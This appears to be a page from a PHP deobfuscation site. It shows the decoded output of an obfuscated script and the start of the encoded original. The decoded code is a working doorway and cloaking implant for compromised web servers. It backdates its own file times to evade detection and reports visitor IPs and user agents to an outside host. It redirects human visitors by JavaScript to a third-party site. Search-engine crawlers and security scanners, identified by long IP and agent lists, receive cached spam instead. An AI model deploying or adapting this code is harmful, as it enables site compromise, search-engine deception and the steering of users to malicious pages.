Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $jhpsf = array('rTxpd9pKsp/tX6EoH','AtuMKi1IbwlHsdZzj','j2PV7OvPdsP44MwtY','EEJFEsO9..
Decoded Output download
error_reporting(0);
define("BASE_URL","http://odintara.com/n/01_test/");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$keyword = str_replace('-','+',$q);
$downkey = trim(preg_replace('/(download|free)/i', '', $q),'-');
$stat = 'http://epublin.com/fxr3Yn?keyword='.$downkey.'.pdf&source='.$domain;
$tds_answer = '<script type="text/javascript">var url="'.$stat.'";self.location.href=url;top.location.href!=self.location.href&&(top.location.href=self.location.href);window!=top?top.location.href=url:document.location=url;</script>';
@cc2(BASE_URL.'/tds.php?d='.$domain.'&kw='.$keyword.'&ip='.$ip.'&ua='.urlencode($ua),1);
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$order = array("\s", " ", "+");
$q = str_replace($order,'-',$q);
$q = preg_replace("#[^a-zA-Z0-9_\-\.]#i","",$q);
return $q;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191"
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
if (strlen(getenv('HTTP_USER_AGENT'))<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
if (getenv('HTTP_ACCEPT_LANGUAGE') == '' || getenv('HTTP_ACCEPT_ENCODING') == '' || getenv('HTTP_ACCEPT') == '') return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$protocol = (stripos($url,'https://') !== false) ? 'https://' : 'http://';
$url = str_replace($protocol,"",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: $protocol$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
Did this file decode correctly?
Original Code
<?php $jhpsf = array('rTxpd9pKsp/tX6EoH','AtuMKi1IbwlHsdZzj','j2PV7OvPdsP44MwtY','EEJFEsO9N/vtUVXdL','AiRhJ5MTG+hau7ZeU','HlzY8OPojDqRf40jJ','Jgcl/XG7ubGwN/GEz','8uvqPw4vj3tX5idpU','H5JkutNuh4NgkniR1','+qH4/akrbNe4sdJW0','WqWt/rP/jKvpJEMx8','+B8P6q+Fs0k+CcNLz','H4M4ieta3PcmgyDSG','g3l780NRZEIigDUa/','CrqdRi0CeMBn4E/HT','CBWQFWAZxT6IBD/EP','wQjH0REIAqJw6qf8U','DuCzx+CkV9X6rUhvA','JS5HsDiYR0wPHV/r4','y9Eaxz4VKsa+kXKRs','SBjJxJH4+hbY0dtdS','fVzc/G1np8Uzeqt4u','EQZxo3lB0lyn+WWkd','+MosmQtAut8RPxQcd','pV0ExofDk4tjiYDWh','V8/0RFKgSeQW286S3','r9cJL4kyQWPtlIXbK','CwRWbeGMfPDTwEk/Y','oTaEyb8bosnzKNpc4','3MgBWpDaTWhLVmZ4L','nJALO7J4gpYDicR0H','iA0MpjFt22B+FMQ6L','z9I6RMbZbdIP/K8l4','DNgpbXuvP7X2VTbVa','Q5cG7CFIQFkx9/JQ8','nImJqSTCmcIaXekPZ','Vhz9D8P6w3R0htABM','r73wTDf69r7s6OrL8','enl73zs7NLmjVKeYd','SxkQPPNEo9V7vw+eT','414PxB0oXMKPH0oOU','WtpLcn1z09/9i6OTz','5opdgS8+Lo/POfl8T','79PDLcY6gsbmBduXB','g27KEo3nxTCMIDSDf','X23Fuz1w9kki79a8O','YN0BMDTOc4icBgIgn','i61pwC05uTR+mWgP1','KgY/JGNQBzlw/6Jhs','gmAFi21rbYymoayJz','RXpAcq0XkU3EEqf81','7f+NdEs76D6uGbwru','uxlOqRULcIv9U4BIc','VTI4CHx+n0/jrUcVK','ZpEMc+OKD38fjyWvu','m3UrDjjC1stE9Jv36','DcP7y+Hn0/dnZ+ca5','0TZRJCMRIQkjgLBkx','8HSRzOIizfOtN4avr','9h1DRer2zf/Z6yGoD','EiThS4LQT2ryDb3EG','sqqeBqJxr0IoqxH0f','CNkmkQjr1gkkuZT5e','Xf/Y+nV3wdKkF0xzs','/PjL2eVx7/D9+3MOn','XnLlFcXx+e9w4+Qcx','wj9u6hRAEWyEzCUTj','3QfSMikbtq/80h7rL','gbjYjbw+ZNq21tTea','M1UwfkEEGn9Csb1ae','TfZ6jtm7s6IoxCb/B','jGPl+4+auHYADNXTi','t0YTmHE1Eg+V0MR66','U9nd6NgQsvl8DEy/3','fyViizr7WkSIio6WC','4he7o+3wcbUUlaBD3','vEk8p3VQ24v7UTBNl','ORp6u+rif+YtP/tff','f4qHrw3YuUWTTaV4E','F6tHS1N3YHw1bo7Dv','YUVvPUT+cB9QdpNwu','jj6an8Vc2urvoJXgN','bYnQcTmMqrfcB+u0o','B8nYGYX82Bv+kINJi','r81VP8DAedfvG3W54','2hpbZg6lpa3g8wiLW','3r6xw/ChvC52CKn4M','pvJ158HaG8dkPBz45','v8lkKX71MBt7ELg8T','JpAQZkVxP8AB389gb','rlD64O6w0sOgs2p5g','eYuCOB3Y9x/5bQ/IW','G5+tLWVlVYF5gHeBX','qytNbGUiqLWg5DOra','6LFJh12cKYo1wylAC','sM1bToURe0lgmtGDS','OLB12JgUrPwLukHMS','wIqE6ikrOsF80fLZU','WigUZ+ph2WKXklylH','f/xVMhiMP9wk5jXII','Cxn/N/h2h/v2JyRu3','teLU3pRyPBKLMrjNI','zr+RIkrA8VovU4Hmk','LG8wH2H4CjnbEBW9j','Xu8o3nQ6CniWtIlkd','2NDFmepY67Ov1wu15','cX+z1YnkcKYEzifbn','Jn8/nrbnZCqP7Nut2','u+1HxFEP9lDdg72xn','3gKYm7732bB9321n9','NeVcQnUZ6QclfpP3g','RLGv7s2S47apK+2Av','CZKRf5DP5L12OpY5B','Ye51Ltw8HTw0U9gqw','vB4ffB9q1Wa69N43s','k5yC/+i1bK93ULi1N','PLe8CHMdfntPWOsxl','WpY3vE9sM6/H/EPr9','u11zS2fbPd+qPW5jt','dWvwWVg5k3dTkIrNR','k2caLku9idWmot4k+','PuNmvHIRy2nwRUm5b','IiRn19/f/e9l+H2/+','nb3d7oFTr9nUAxzZV','kshd8jduo9QcMsb96','Lsf9Wbw2hPhLoYg6n','m84NoWTuFz3Bt78dd','YTgJBddqDaYbevWl1','zJtWnXWvdXb7g1072','+7tNeh027hp0evfrG','li7nEC5ty0TCCqOwA','0b3/YhPPDunZLKBhj','Ny0GIphuFMOBm4Pw7','rUBwDU4zhp4txBugG','gX9KgbjKZp6OX6Gsj','HsIFhB+1ic7tY1xba','pBgLkAzztgDmrpEA8','HqHBDikUDFKhwxTQg','5+27Zvf7jcZ8VILvm','qDGbZJaAuBEOR3A4r','npbNQ6ODUynEcHWAL','niwEo3ZlWCrElpNWx','xGro1hij+FvA2MYMv','Jgh9Nx+PfJBc1nkW1','NmUMA3XAeGW6W41gr','oHbha5yKCVxsk63WG','VwtYGyXzhTSeboxXC','QhjauGzaPWgNeLMGY','XZvwIt4b5caRTIySu','WOFMvIl6nm6U2EDuH','27Lj4dCwW8oGgigUz','DTmFmOKiz1c3S+boj','GEJhsEr5plSd5+N29','WowqwYX1vAOjDKrzK','/dcqtLwpK67Za5ogQ','Zk0xoULEgdV2qDs9Y','Cwwd48zAyeuVvqN1q','c4MQvpBfPnkrztpTF','c5x0UzGL9iQGuplpW','mDJWhF/NnJlWhztqa','jXiGbf5ebmdcDDBWs','bkzHOvaWYfisDVwXL','fXzOeXvcpsMJuN1We','t9QiTFp9uNRxXJ4v0','KYYVrjGrqKWWSzHcS','vBqoVxFcarB1RO1Ku','TTruR5JsXMNbqV8OK','KloHNavCyexcwFpfB','4mIE2pnoOJMXI5kvT','mlUSQrmVIKNTulmBI','uVzZ6fqhkxVJsulk7','GSyfTOV63XF0Da4f1','jBIl0PRKKCvL1wyj2','J85uL0G3q2EG2Vbw4','7Yj6d7AlPuCap3M66','ks3jmMrPCmEyecfLo','a2Xg6YiWl9J6xuD32','8UThIUhxlaOZEUCCN','UgfZ6Haj0PzV6vbRl','x5zlllyM6z5xhBw96','TqcMvHQQew7HZ6RR2','XbSym1vGYitMIdjY8','181sYWMY3S448E59R','2q2Ti3omZ1eBOJdiq','gtpGJbT4/EebTbyRK','C4DFJouJpndrYZ3qu','GGUbxuIGyRtBLNqeZ','SVuvQh46eK0auKBKd','qkJNVC+t7oYsm6UHQ','mbhUsM3LetPj3R6s0','tqNAnSX3wqxZNdusJ','eM6MqW6iQM9zy1w1R','Wg2jfI9HW2vaLL5QJ','yTDs9avby8N3O8Zpi','MOo0UI4ubNMPVyOCV','EJbj8mE3b1WwGbM3x','mnFlS/eOHMmyX3JVQ','iQ2Hed0oUbFcYbuCJ','3yy0gsrbRzE6tw6Xn','Pecnx/79wQETDMfdX','7gcM92WadhfP8abcF','1ZlAd2BLlbUSjQ6ql','TC2Rp42T4wh2Ktgdu','VcLNTCbb1/+45nijx','cvJ3js85JuI0UeUz2','hR2ficq8fbGXHvEkV','jMNCrBVjW4+Cifgou','/GMjA7i/fngik4p2M','BHaqgFWyDaMKaFtV0','CqhhTLRCgWVrRy1gw','ceZw28UwnvGOVgDMG','S70